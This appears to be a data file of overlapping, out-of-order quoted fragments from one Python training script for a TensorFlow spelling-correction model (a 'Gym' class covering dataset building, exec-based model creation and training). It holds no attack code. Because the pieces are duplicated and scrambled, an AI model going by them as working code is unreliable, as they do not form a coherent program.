"self.nb_valid_samples // self.batch_size self.model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['acc']) history = self.model.fit_generator( self.train_dataset.as_numpy_iterator(),",
"return self create.__name__ = {name}.__name__ create.__doc__ = {name}.__init__.__doc__ setattr(self, create.__name__,",
"batch_size, seed=42, reshuffle_each_iteration=True) self.valid_dataset = self.valid_dataset.batch(batch_size, drop_remainder=True) self.valid_dataset = self.valid_dataset.map(",
"import signature, Parameter from pathlib import Path from pprint import",
"name).__init__) arguments = {k: v.default for k, v in arguments.parameters.items()",
"= CharMapping(chars=all_chars, include_unknown=True) data_processor = DataProcessor(locale=locale, char2id=self.char2int, alphabet=all_chars, alphabet_weighs=char_weights) print('Calculating",
"create.__name__ = {name}.__name__ create.__doc__ = {name}.__init__.__doc__ setattr(self, create.__name__, create) '''),",
"return history.history if __name__ == '__main__': cli = Gym() fire.Fire(cli)",
"Tout=['int32', 'int32', 'int32'])) self.train_dataset = self.train_dataset.map(lambda enc_in, dec_in, targ: ((enc_in,",
"= signature(getattr(models, name).__init__) arguments = {k: v.default for k, v",
"'.join([f'{k}=' + str(v) if type(v) != str else f'{k}=' '\"'",
"name) def train(self, epochs: int, monitor_metric='val_acc', patience: int = 5,",
"str(v) + '\"' for k, v in arguments.items()]) # print(arg_str)",
"Optional[tf.data.Dataset] = None self.valid_dataset: Optional[tf.data.Dataset] = None self.char2int: Optional[CharMapping] =",
"validation_steps: Union[int, str] = 'auto', log_dir: str = 'logs', use_multiprocessing:",
"from spellnn.data.processing import DataProcessor from spellnn.data.util import nb_lines from spellnn.layers.mapping",
"not Parameter.empty and k != 'self'} arguments['nb_symbols'] = len(self.char2int) arg_str",
"arguments = {k: v.default for k, v in arguments.parameters.items() if",
"c.isalpha() and c.islower() else 0.2 if c.isalpha() else 0.1 if",
"int((1 - validation_split) * all_samples) self.nb_valid_samples = all_samples - self.nb_train_samples",
"32, validation_split: float = 0.3): pprint(locals()) all_chars = [alphabet.START, alphabet.END]",
"Parameter from pathlib import Path from pprint import pprint from",
"alphabet_weighs=char_weights) print('Calculating number of lines in the file...', end=' ')",
"EarlyStopping, ModelCheckpoint, TensorBoard, TerminateOnNaN from tensorflow.keras import Model from spellnn",
"data_processor = DataProcessor(locale=locale, char2id=self.char2int, alphabet=all_chars, alphabet_weighs=char_weights) print('Calculating number of lines",
"reshuffle_each_iteration=True) self.train_dataset = self.train_dataset.batch(batch_size, drop_remainder=True) self.train_dataset = self.train_dataset.map( lambda b:",
"((enc_in, dec_in), targ)) self.valid_dataset = self.valid_dataset.repeat() return self def create_model(self,",
"'logs', use_multiprocessing: bool = False): pprint(locals()) log_dir = Path(log_dir).joinpath(datetime.now().replace(microsecond=0).isoformat()) model_path",
"create.__name__, create) '''), {'self': self, name: getattr(models, name), arg_str: arg_str})",
"int = 0 self.nb_valid_samples: int = 0 self.batch_size = 0",
"create) '''), {'self': self, name: getattr(models, name), arg_str: arg_str}) return",
"import fire import tensorflow as tf from tensorflow.keras.callbacks import EarlyStopping,",
"drop_remainder=True) self.train_dataset = self.train_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32',",
"create_model(self, name): arguments = signature(getattr(models, name).__init__) arguments = {k: v.default",
"0.2 if c.isalpha() else 0.1 if c not in {alphabet.START,",
"if c not in {alphabet.START, alphabet.END} else 0 for c",
"ModelCheckpoint(model_path, monitor=monitor_metric, verbose=1, save_best_only=True), EarlyStopping(monitor=monitor_metric, patience=patience), ]) return history.history if",
"create.__doc__ = {name}.__init__.__doc__ setattr(self, create.__name__, create) '''), {'self': self, name:",
"arg_str: arg_str}) return getattr(self, name) def train(self, epochs: int, monitor_metric='val_acc',",
"from tensorflow.keras import Model from spellnn import models from spellnn.data",
"* batch_size, seed=42, reshuffle_each_iteration=True) self.valid_dataset = self.valid_dataset.batch(batch_size, drop_remainder=True) self.valid_dataset =",
"self.nb_train_samples // self.batch_size if validation_steps == 'auto': validation_steps = self.nb_valid_samples",
"import Path from pprint import pprint from textwrap import dedent",
"spellnn import models from spellnn.data import alphabet from spellnn.data.alphabet import",
"import os from datetime import datetime from inspect import signature,",
"Path(log_dir).joinpath('checkpoints').joinpath('best-model.h5py') model_path = str(model_path) if steps_per_epoch == 'auto': steps_per_epoch =",
"tf.data.TextLineDataset(path) self.train_dataset = dataset.take(self.nb_train_samples) self.train_dataset = self.train_dataset.shuffle(10 * batch_size, seed=42,",
"self.train_dataset.map(lambda enc_in, dec_in, targ: ((enc_in, dec_in), targ)) self.train_dataset = self.train_dataset.repeat()",
"if type(v) != str else f'{k}=' '\"' + str(v) +",
"pprint(locals()) all_chars = [alphabet.START, alphabet.END] + get_chars(locale) char_weights = [0.5",
"Optional, Union import fire import tensorflow as tf from tensorflow.keras.callbacks",
"self.valid_dataset = self.valid_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32', 'int32']))",
"self.valid_dataset = self.valid_dataset.batch(batch_size, drop_remainder=True) self.valid_dataset = self.valid_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch,",
"spellnn.layers.mapping import CharMapping os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # FATAL logging.getLogger('tensorflow').setLevel(logging.FATAL) class",
"tf from tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint, TensorBoard, TerminateOnNaN from tensorflow.keras",
"tensorflow as tf from tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint, TensorBoard, TerminateOnNaN",
"char_weights = [0.5 if c.isalpha() and c.islower() else 0.2 if",
"'auto', validation_steps: Union[int, str] = 'auto', log_dir: str = 'logs',",
"if steps_per_epoch == 'auto': steps_per_epoch = self.nb_train_samples // self.batch_size if",
"else 0.1 if c not in {alphabet.START, alphabet.END} else 0",
"self.valid_dataset.batch(batch_size, drop_remainder=True) self.valid_dataset = self.valid_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32',",
"all_chars = [alphabet.START, alphabet.END] + get_chars(locale) char_weights = [0.5 if",
"c.isalpha() else 0.1 if c not in {alphabet.START, alphabet.END} else",
"as tf from tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint, TensorBoard, TerminateOnNaN from",
"None self.nb_train_samples: int = 0 self.nb_valid_samples: int = 0 self.batch_size",
"enc_in, dec_in, targ: ((enc_in, dec_in), targ)) self.train_dataset = self.train_dataset.repeat() self.valid_dataset",
"import Optional, Union import fire import tensorflow as tf from",
"end=' ') all_samples = nb_lines(path) print(all_samples) self.batch_size = batch_size self.nb_train_samples",
"textwrap import dedent from typing import Optional, Union import fire",
"else f'{k}=' '\"' + str(v) + '\"' for k, v",
"str = 'logs', use_multiprocessing: bool = False): pprint(locals()) log_dir =",
"0 self.nb_valid_samples: int = 0 self.batch_size = 0 def construct_dataset(self,",
"= self.nb_valid_samples // self.batch_size self.model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['acc']) history = self.model.fit_generator(",
"self.valid_dataset = self.valid_dataset.shuffle(10 * batch_size, seed=42, reshuffle_each_iteration=True) self.valid_dataset = self.valid_dataset.batch(batch_size,",
"log_dir = Path(log_dir).joinpath(datetime.now().replace(microsecond=0).isoformat()) model_path = Path(log_dir).joinpath('checkpoints').joinpath('best-model.h5py') model_path = str(model_path) if",
"int, monitor_metric='val_acc', patience: int = 5, steps_per_epoch: Union[int, str] =",
"= [0.5 if c.isalpha() and c.islower() else 0.2 if c.isalpha()",
"def train(self, epochs: int, monitor_metric='val_acc', patience: int = 5, steps_per_epoch:",
"c.islower() else 0.2 if c.isalpha() else 0.1 if c not",
"Optional[CharMapping] = None self.model: Optional[Model] = None self.nb_train_samples: int =",
"None self.model: Optional[Model] = None self.nb_train_samples: int = 0 self.nb_valid_samples:",
"arguments.items()]) # print(arg_str) exec(dedent(f''' def create({arg_str}): self.model = {name}(**locals()) return",
"and k != 'self'} arguments['nb_symbols'] = len(self.char2int) arg_str = ',",
"def construct_dataset(self, path: str, locale: str, batch_size: int = 32,",
"in all_chars] self.char2int = CharMapping(chars=all_chars, include_unknown=True) data_processor = DataProcessor(locale=locale, char2id=self.char2int,",
"import tensorflow as tf from tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint, TensorBoard,",
"spellnn.data import alphabet from spellnn.data.alphabet import get_chars from spellnn.data.processing import",
"str] = 'auto', log_dir: str = 'logs', use_multiprocessing: bool =",
"self.batch_size = batch_size self.nb_train_samples = int((1 - validation_split) * all_samples)",
"# FATAL logging.getLogger('tensorflow').setLevel(logging.FATAL) class Gym: def __init__(self): self.train_dataset: Optional[tf.data.Dataset] =",
"k, v in arguments.parameters.items() if v.default is not Parameter.empty and",
"v.default for k, v in arguments.parameters.items() if v.default is not",
"all_samples - self.nb_train_samples dataset = tf.data.TextLineDataset(path) self.train_dataset = dataset.take(self.nb_train_samples) self.train_dataset",
"'''), {'self': self, name: getattr(models, name), arg_str: arg_str}) return getattr(self,",
"patience: int = 5, steps_per_epoch: Union[int, str] = 'auto', validation_steps:",
"inp=[b], Tout=['int32', 'int32', 'int32'])) self.train_dataset = self.train_dataset.map(lambda enc_in, dec_in, targ:",
"v in arguments.items()]) # print(arg_str) exec(dedent(f''' def create({arg_str}): self.model =",
"self.train_dataset = self.train_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32', 'int32']))",
"from spellnn.data.alphabet import get_chars from spellnn.data.processing import DataProcessor from spellnn.data.util",
"self.valid_dataset = self.valid_dataset.map(lambda enc_in, dec_in, targ: ((enc_in, dec_in), targ)) self.valid_dataset",
"dec_in, targ: ((enc_in, dec_in), targ)) self.valid_dataset = self.valid_dataset.repeat() return self",
"in arguments.parameters.items() if v.default is not Parameter.empty and k !=",
"arg_str = ', '.join([f'{k}=' + str(v) if type(v) != str",
"[0.5 if c.isalpha() and c.islower() else 0.2 if c.isalpha() else",
"from pathlib import Path from pprint import pprint from textwrap",
"from datetime import datetime from inspect import signature, Parameter from",
"def __init__(self): self.train_dataset: Optional[tf.data.Dataset] = None self.valid_dataset: Optional[tf.data.Dataset] = None",
"self.train_dataset = self.train_dataset.batch(batch_size, drop_remainder=True) self.train_dataset = self.train_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch,",
"= [alphabet.START, alphabet.END] + get_chars(locale) char_weights = [0.5 if c.isalpha()",
"= self.model.fit_generator( self.train_dataset.as_numpy_iterator(), steps_per_epoch=steps_per_epoch, validation_data=self.valid_dataset.as_numpy_iterator(), validation_steps=validation_steps, epochs=epochs, use_multiprocessing=use_multiprocessing, workers=os.cpu_count() -",
"print(all_samples) self.batch_size = batch_size self.nb_train_samples = int((1 - validation_split) *",
"train(self, epochs: int, monitor_metric='val_acc', patience: int = 5, steps_per_epoch: Union[int,",
"self.batch_size if validation_steps == 'auto': validation_steps = self.nb_valid_samples // self.batch_size",
"of lines in the file...', end=' ') all_samples = nb_lines(path)",
"all_samples = nb_lines(path) print(all_samples) self.batch_size = batch_size self.nb_train_samples = int((1",
"self.train_dataset = dataset.take(self.nb_train_samples) self.train_dataset = self.train_dataset.shuffle(10 * batch_size, seed=42, reshuffle_each_iteration=True)",
"{name}(**locals()) return self create.__name__ = {name}.__name__ create.__doc__ = {name}.__init__.__doc__ setattr(self,",
"= ', '.join([f'{k}=' + str(v) if type(v) != str else",
"self.nb_valid_samples: int = 0 self.batch_size = 0 def construct_dataset(self, path:",
"= None self.valid_dataset: Optional[tf.data.Dataset] = None self.char2int: Optional[CharMapping] = None",
"= self.train_dataset.batch(batch_size, drop_remainder=True) self.train_dataset = self.train_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b],",
"models from spellnn.data import alphabet from spellnn.data.alphabet import get_chars from",
"epochs: int, monitor_metric='val_acc', patience: int = 5, steps_per_epoch: Union[int, str]",
"if c.isalpha() else 0.1 if c not in {alphabet.START, alphabet.END}",
"path: str, locale: str, batch_size: int = 32, validation_split: float",
"all_chars] self.char2int = CharMapping(chars=all_chars, include_unknown=True) data_processor = DataProcessor(locale=locale, char2id=self.char2int, alphabet=all_chars,",
"arguments = signature(getattr(models, name).__init__) arguments = {k: v.default for k,",
"self, name: getattr(models, name), arg_str: arg_str}) return getattr(self, name) def",
"TerminateOnNaN(), TensorBoard(log_dir=log_dir), ModelCheckpoint(model_path, monitor=monitor_metric, verbose=1, save_best_only=True), EarlyStopping(monitor=monitor_metric, patience=patience), ]) return",
"= False): pprint(locals()) log_dir = Path(log_dir).joinpath(datetime.now().replace(microsecond=0).isoformat()) model_path = Path(log_dir).joinpath('checkpoints').joinpath('best-model.h5py') model_path",
"logging.getLogger('tensorflow').setLevel(logging.FATAL) class Gym: def __init__(self): self.train_dataset: Optional[tf.data.Dataset] = None self.valid_dataset:",
"workers=os.cpu_count() - 1, callbacks=[ TerminateOnNaN(), TensorBoard(log_dir=log_dir), ModelCheckpoint(model_path, monitor=monitor_metric, verbose=1, save_best_only=True),",
"batch_size, seed=42, reshuffle_each_iteration=True) self.train_dataset = self.train_dataset.batch(batch_size, drop_remainder=True) self.train_dataset = self.train_dataset.map(",
"alphabet=all_chars, alphabet_weighs=char_weights) print('Calculating number of lines in the file...', end='",
"in {alphabet.START, alphabet.END} else 0 for c in all_chars] self.char2int",
"= '3' # FATAL logging.getLogger('tensorflow').setLevel(logging.FATAL) class Gym: def __init__(self): self.train_dataset:",
"str(model_path) if steps_per_epoch == 'auto': steps_per_epoch = self.nb_train_samples // self.batch_size",
"model_path = Path(log_dir).joinpath('checkpoints').joinpath('best-model.h5py') model_path = str(model_path) if steps_per_epoch == 'auto':",
"= dataset.skip(self.nb_train_samples) self.valid_dataset = self.valid_dataset.shuffle(10 * batch_size, seed=42, reshuffle_each_iteration=True) self.valid_dataset",
"b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32', 'int32'])) self.valid_dataset = self.valid_dataset.map(lambda enc_in,",
"= tf.data.TextLineDataset(path) self.train_dataset = dataset.take(self.nb_train_samples) self.train_dataset = self.train_dataset.shuffle(10 * batch_size,",
"self.train_dataset = self.train_dataset.map(lambda enc_in, dec_in, targ: ((enc_in, dec_in), targ)) self.train_dataset",
"self.train_dataset.shuffle(10 * batch_size, seed=42, reshuffle_each_iteration=True) self.train_dataset = self.train_dataset.batch(batch_size, drop_remainder=True) self.train_dataset",
"c not in {alphabet.START, alphabet.END} else 0 for c in",
"self.train_dataset = self.train_dataset.shuffle(10 * batch_size, seed=42, reshuffle_each_iteration=True) self.train_dataset = self.train_dataset.batch(batch_size,",
"char2id=self.char2int, alphabet=all_chars, alphabet_weighs=char_weights) print('Calculating number of lines in the file...',",
"* all_samples) self.nb_valid_samples = all_samples - self.nb_train_samples dataset = tf.data.TextLineDataset(path)",
"self.train_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32', 'int32'])) self.train_dataset =",
"None self.valid_dataset: Optional[tf.data.Dataset] = None self.char2int: Optional[CharMapping] = None self.model:",
"get_chars from spellnn.data.processing import DataProcessor from spellnn.data.util import nb_lines from",
"') all_samples = nb_lines(path) print(all_samples) self.batch_size = batch_size self.nb_train_samples =",
"'self'} arguments['nb_symbols'] = len(self.char2int) arg_str = ', '.join([f'{k}=' + str(v)",
"= 32, validation_split: float = 0.3): pprint(locals()) all_chars = [alphabet.START,",
"steps_per_epoch: Union[int, str] = 'auto', validation_steps: Union[int, str] = 'auto',",
"= 0.3): pprint(locals()) all_chars = [alphabet.START, alphabet.END] + get_chars(locale) char_weights",
"bool = False): pprint(locals()) log_dir = Path(log_dir).joinpath(datetime.now().replace(microsecond=0).isoformat()) model_path = Path(log_dir).joinpath('checkpoints').joinpath('best-model.h5py')",
"= Path(log_dir).joinpath(datetime.now().replace(microsecond=0).isoformat()) model_path = Path(log_dir).joinpath('checkpoints').joinpath('best-model.h5py') model_path = str(model_path) if steps_per_epoch",
"inspect import signature, Parameter from pathlib import Path from pprint",
"', '.join([f'{k}=' + str(v) if type(v) != str else f'{k}='",
"'auto', log_dir: str = 'logs', use_multiprocessing: bool = False): pprint(locals())",
"spellnn.data.processing import DataProcessor from spellnn.data.util import nb_lines from spellnn.layers.mapping import",
"= dataset.take(self.nb_train_samples) self.train_dataset = self.train_dataset.shuffle(10 * batch_size, seed=42, reshuffle_each_iteration=True) self.train_dataset",
"self.nb_valid_samples = all_samples - self.nb_train_samples dataset = tf.data.TextLineDataset(path) self.train_dataset =",
"from typing import Optional, Union import fire import tensorflow as",
"[alphabet.START, alphabet.END] + get_chars(locale) char_weights = [0.5 if c.isalpha() and",
"__init__(self): self.train_dataset: Optional[tf.data.Dataset] = None self.valid_dataset: Optional[tf.data.Dataset] = None self.char2int:",
"= self.valid_dataset.batch(batch_size, drop_remainder=True) self.valid_dataset = self.valid_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b],",
"class Gym: def __init__(self): self.train_dataset: Optional[tf.data.Dataset] = None self.valid_dataset: Optional[tf.data.Dataset]",
"int = 5, steps_per_epoch: Union[int, str] = 'auto', validation_steps: Union[int,",
"signature(getattr(models, name).__init__) arguments = {k: v.default for k, v in",
"ModelCheckpoint, TensorBoard, TerminateOnNaN from tensorflow.keras import Model from spellnn import",
"= {name}.__init__.__doc__ setattr(self, create.__name__, create) '''), {'self': self, name: getattr(models,",
"= {k: v.default for k, v in arguments.parameters.items() if v.default",
"type(v) != str else f'{k}=' '\"' + str(v) + '\"'",
"else 0.2 if c.isalpha() else 0.1 if c not in",
"import DataProcessor from spellnn.data.util import nb_lines from spellnn.layers.mapping import CharMapping",
"= str(model_path) if steps_per_epoch == 'auto': steps_per_epoch = self.nb_train_samples //",
"self.train_dataset: Optional[tf.data.Dataset] = None self.valid_dataset: Optional[tf.data.Dataset] = None self.char2int: Optional[CharMapping]",
"self.valid_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32', 'int32'])) self.valid_dataset =",
"'int32'])) self.valid_dataset = self.valid_dataset.map(lambda enc_in, dec_in, targ: ((enc_in, dec_in), targ))",
"int = 32, validation_split: float = 0.3): pprint(locals()) all_chars =",
"* batch_size, seed=42, reshuffle_each_iteration=True) self.train_dataset = self.train_dataset.batch(batch_size, drop_remainder=True) self.train_dataset =",
"import nb_lines from spellnn.layers.mapping import CharMapping os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' #",
"os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # FATAL logging.getLogger('tensorflow').setLevel(logging.FATAL) class Gym: def __init__(self):",
"((enc_in, dec_in), targ)) self.train_dataset = self.train_dataset.repeat() self.valid_dataset = dataset.skip(self.nb_train_samples) self.valid_dataset",
"// self.batch_size self.model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['acc']) history = self.model.fit_generator( self.train_dataset.as_numpy_iterator(), steps_per_epoch=steps_per_epoch,",
"fire import tensorflow as tf from tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint,",
"v.default is not Parameter.empty and k != 'self'} arguments['nb_symbols'] =",
"Path from pprint import pprint from textwrap import dedent from",
"+ '\"' for k, v in arguments.items()]) # print(arg_str) exec(dedent(f'''",
"from spellnn.layers.mapping import CharMapping os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # FATAL logging.getLogger('tensorflow').setLevel(logging.FATAL)",
"self.char2int = CharMapping(chars=all_chars, include_unknown=True) data_processor = DataProcessor(locale=locale, char2id=self.char2int, alphabet=all_chars, alphabet_weighs=char_weights)",
"= batch_size self.nb_train_samples = int((1 - validation_split) * all_samples) self.nb_valid_samples",
"arguments['nb_symbols'] = len(self.char2int) arg_str = ', '.join([f'{k}=' + str(v) if",
"self.valid_dataset.shuffle(10 * batch_size, seed=42, reshuffle_each_iteration=True) self.valid_dataset = self.valid_dataset.batch(batch_size, drop_remainder=True) self.valid_dataset",
"model_path = str(model_path) if steps_per_epoch == 'auto': steps_per_epoch = self.nb_train_samples",
"str, batch_size: int = 32, validation_split: float = 0.3): pprint(locals())",
"setattr(self, create.__name__, create) '''), {'self': self, name: getattr(models, name), arg_str:",
"dedent from typing import Optional, Union import fire import tensorflow",
"locale: str, batch_size: int = 32, validation_split: float = 0.3):",
"f'{k}=' '\"' + str(v) + '\"' for k, v in",
"validation_steps = self.nb_valid_samples // self.batch_size self.model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['acc']) history =",
"self.valid_dataset = self.valid_dataset.repeat() return self def create_model(self, name): arguments =",
"{k: v.default for k, v in arguments.parameters.items() if v.default is",
"str(v) if type(v) != str else f'{k}=' '\"' + str(v)",
"validation_steps == 'auto': validation_steps = self.nb_valid_samples // self.batch_size self.model.compile(optimizer='adam', loss='sparse_categorical_crossentropy',",
"- validation_split) * all_samples) self.nb_valid_samples = all_samples - self.nb_train_samples dataset",
"= {name}(**locals()) return self create.__name__ = {name}.__name__ create.__doc__ = {name}.__init__.__doc__",
"int = 0 self.batch_size = 0 def construct_dataset(self, path: str,",
"= self.valid_dataset.shuffle(10 * batch_size, seed=42, reshuffle_each_iteration=True) self.valid_dataset = self.valid_dataset.batch(batch_size, drop_remainder=True)",
"self.train_dataset.as_numpy_iterator(), steps_per_epoch=steps_per_epoch, validation_data=self.valid_dataset.as_numpy_iterator(), validation_steps=validation_steps, epochs=epochs, use_multiprocessing=use_multiprocessing, workers=os.cpu_count() - 1, callbacks=[",
"targ: ((enc_in, dec_in), targ)) self.train_dataset = self.train_dataset.repeat() self.valid_dataset = dataset.skip(self.nb_train_samples)",
"self.valid_dataset.repeat() return self def create_model(self, name): arguments = signature(getattr(models, name).__init__)",
"self.model = {name}(**locals()) return self create.__name__ = {name}.__name__ create.__doc__ =",
"'\"' + str(v) + '\"' for k, v in arguments.items()])",
"'int32', 'int32'])) self.valid_dataset = self.valid_dataset.map(lambda enc_in, dec_in, targ: ((enc_in, dec_in),",
"from textwrap import dedent from typing import Optional, Union import",
"dec_in, targ: ((enc_in, dec_in), targ)) self.train_dataset = self.train_dataset.repeat() self.valid_dataset =",
"= self.train_dataset.shuffle(10 * batch_size, seed=42, reshuffle_each_iteration=True) self.train_dataset = self.train_dataset.batch(batch_size, drop_remainder=True)",
"name): arguments = signature(getattr(models, name).__init__) arguments = {k: v.default for",
"= self.valid_dataset.repeat() return self def create_model(self, name): arguments = signature(getattr(models,",
"def create({arg_str}): self.model = {name}(**locals()) return self create.__name__ = {name}.__name__",
"dataset.skip(self.nb_train_samples) self.valid_dataset = self.valid_dataset.shuffle(10 * batch_size, seed=42, reshuffle_each_iteration=True) self.valid_dataset =",
"in the file...', end=' ') all_samples = nb_lines(path) print(all_samples) self.batch_size",
"use_multiprocessing=use_multiprocessing, workers=os.cpu_count() - 1, callbacks=[ TerminateOnNaN(), TensorBoard(log_dir=log_dir), ModelCheckpoint(model_path, monitor=monitor_metric, verbose=1,",
"'\"' for k, v in arguments.items()]) # print(arg_str) exec(dedent(f''' def",
"c in all_chars] self.char2int = CharMapping(chars=all_chars, include_unknown=True) data_processor = DataProcessor(locale=locale,",
"validation_split: float = 0.3): pprint(locals()) all_chars = [alphabet.START, alphabet.END] +",
"print('Calculating number of lines in the file...', end=' ') all_samples",
"steps_per_epoch == 'auto': steps_per_epoch = self.nb_train_samples // self.batch_size if validation_steps",
"= DataProcessor(locale=locale, char2id=self.char2int, alphabet=all_chars, alphabet_weighs=char_weights) print('Calculating number of lines in",
"in arguments.items()]) # print(arg_str) exec(dedent(f''' def create({arg_str}): self.model = {name}(**locals())",
"from pprint import pprint from textwrap import dedent from typing",
"tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32', 'int32'])) self.valid_dataset = self.valid_dataset.map(lambda enc_in, dec_in,",
"os from datetime import datetime from inspect import signature, Parameter",
"= self.train_dataset.repeat() self.valid_dataset = dataset.skip(self.nb_train_samples) self.valid_dataset = self.valid_dataset.shuffle(10 * batch_size,",
"= self.valid_dataset.map( lambda b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32', 'int32'])) self.valid_dataset",
"+ get_chars(locale) char_weights = [0.5 if c.isalpha() and c.islower() else",
"pathlib import Path from pprint import pprint from textwrap import",
"self create.__name__ = {name}.__name__ create.__doc__ = {name}.__init__.__doc__ setattr(self, create.__name__, create)",
"name: getattr(models, name), arg_str: arg_str}) return getattr(self, name) def train(self,",
"]) return history.history if __name__ == '__main__': cli = Gym()",
"import alphabet from spellnn.data.alphabet import get_chars from spellnn.data.processing import DataProcessor",
"# print(arg_str) exec(dedent(f''' def create({arg_str}): self.model = {name}(**locals()) return self",
"str, locale: str, batch_size: int = 32, validation_split: float =",
"Union[int, str] = 'auto', validation_steps: Union[int, str] = 'auto', log_dir:",
"'int32', 'int32'])) self.train_dataset = self.train_dataset.map(lambda enc_in, dec_in, targ: ((enc_in, dec_in),",
"'3' # FATAL logging.getLogger('tensorflow').setLevel(logging.FATAL) class Gym: def __init__(self): self.train_dataset: Optional[tf.data.Dataset]",
"self.train_dataset = self.train_dataset.repeat() self.valid_dataset = dataset.skip(self.nb_train_samples) self.valid_dataset = self.valid_dataset.shuffle(10 *",
"from inspect import signature, Parameter from pathlib import Path from",
"!= 'self'} arguments['nb_symbols'] = len(self.char2int) arg_str = ', '.join([f'{k}=' +",
"print(arg_str) exec(dedent(f''' def create({arg_str}): self.model = {name}(**locals()) return self create.__name__",
"steps_per_epoch = self.nb_train_samples // self.batch_size if validation_steps == 'auto': validation_steps",
"for c in all_chars] self.char2int = CharMapping(chars=all_chars, include_unknown=True) data_processor =",
"self.nb_train_samples = int((1 - validation_split) * all_samples) self.nb_valid_samples = all_samples",
"import models from spellnn.data import alphabet from spellnn.data.alphabet import get_chars",
"batch_size: int = 32, validation_split: float = 0.3): pprint(locals()) all_chars",
"b: tf.numpy_function(func=data_processor.process_batch, inp=[b], Tout=['int32', 'int32', 'int32'])) self.train_dataset = self.train_dataset.map(lambda enc_in,",
"= self.train_dataset.map(lambda enc_in, dec_in, targ: ((enc_in, dec_in), targ)) self.train_dataset =",
"alphabet from spellnn.data.alphabet import get_chars from spellnn.data.processing import DataProcessor from",
"import Model from spellnn import models from spellnn.data import alphabet",
"import logging import os from datetime import datetime from inspect",
"seed=42, reshuffle_each_iteration=True) self.train_dataset = self.train_dataset.batch(batch_size, drop_remainder=True) self.train_dataset = self.train_dataset.map( lambda",
"0 for c in all_chars] self.char2int = CharMapping(chars=all_chars, include_unknown=True) data_processor",
"import get_chars from spellnn.data.processing import DataProcessor from spellnn.data.util import nb_lines",
"{name}.__name__ create.__doc__ = {name}.__init__.__doc__ setattr(self, create.__name__, create) '''), {'self': self,",
"self.model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['acc']) history = self.model.fit_generator( self.train_dataset.as_numpy_iterator(), steps_per_epoch=steps_per_epoch, validation_data=self.valid_dataset.as_numpy_iterator(), validation_steps=validation_steps,",
"targ: ((enc_in, dec_in), targ)) self.valid_dataset = self.valid_dataset.repeat() return self def",
"{name}.__init__.__doc__ setattr(self, create.__name__, create) '''), {'self': self, name: getattr(models, name),",
"EarlyStopping(monitor=monitor_metric, patience=patience), ]) return history.history if __name__ == '__main__': cli",
"targ)) self.train_dataset = self.train_dataset.repeat() self.valid_dataset = dataset.skip(self.nb_train_samples) self.valid_dataset = self.valid_dataset.shuffle(10",
"is not Parameter.empty and k != 'self'} arguments['nb_symbols'] = len(self.char2int)",
"Path(log_dir).joinpath(datetime.now().replace(microsecond=0).isoformat()) model_path = Path(log_dir).joinpath('checkpoints').joinpath('best-model.h5py') model_path = str(model_path) if steps_per_epoch ==",
"getattr(models, name), arg_str: arg_str}) return getattr(self, name) def train(self, epochs:",
"import CharMapping os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # FATAL logging.getLogger('tensorflow').setLevel(logging.FATAL) class Gym:",
"= 0 self.nb_valid_samples: int = 0 self.batch_size = 0 def",
"history = self.model.fit_generator( self.train_dataset.as_numpy_iterator(), steps_per_epoch=steps_per_epoch, validation_data=self.valid_dataset.as_numpy_iterator(), validation_steps=validation_steps, epochs=epochs, use_multiprocessing=use_multiprocessing, workers=os.cpu_count()",
"self.model.fit_generator( self.train_dataset.as_numpy_iterator(), steps_per_epoch=steps_per_epoch, validation_data=self.valid_dataset.as_numpy_iterator(), validation_steps=validation_steps, epochs=epochs, use_multiprocessing=use_multiprocessing, workers=os.cpu_count() - 1,",
"!= str else f'{k}=' '\"' + str(v) + '\"' for",
"= int((1 - validation_split) * all_samples) self.nb_valid_samples = all_samples -",
"Parameter.empty and k != 'self'} arguments['nb_symbols'] = len(self.char2int) arg_str =",
"tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint, TensorBoard, TerminateOnNaN from tensorflow.keras import Model",
"dec_in), targ)) self.valid_dataset = self.valid_dataset.repeat() return self def create_model(self, name):",
"def create_model(self, name): arguments = signature(getattr(models, name).__init__) arguments = {k:",
"= self.nb_train_samples // self.batch_size if validation_steps == 'auto': validation_steps =",
"'int32'])) self.train_dataset = self.train_dataset.map(lambda enc_in, dec_in, targ: ((enc_in, dec_in), targ))",
"= len(self.char2int) arg_str = ', '.join([f'{k}=' + str(v) if type(v)",
"// self.batch_size if validation_steps == 'auto': validation_steps = self.nb_valid_samples //",
"self def create_model(self, name): arguments = signature(getattr(models, name).__init__) arguments =",
"False): pprint(locals()) log_dir = Path(log_dir).joinpath(datetime.now().replace(microsecond=0).isoformat()) model_path = Path(log_dir).joinpath('checkpoints').joinpath('best-model.h5py') model_path =",
"verbose=1, save_best_only=True), EarlyStopping(monitor=monitor_metric, patience=patience), ]) return history.history if __name__ ==",
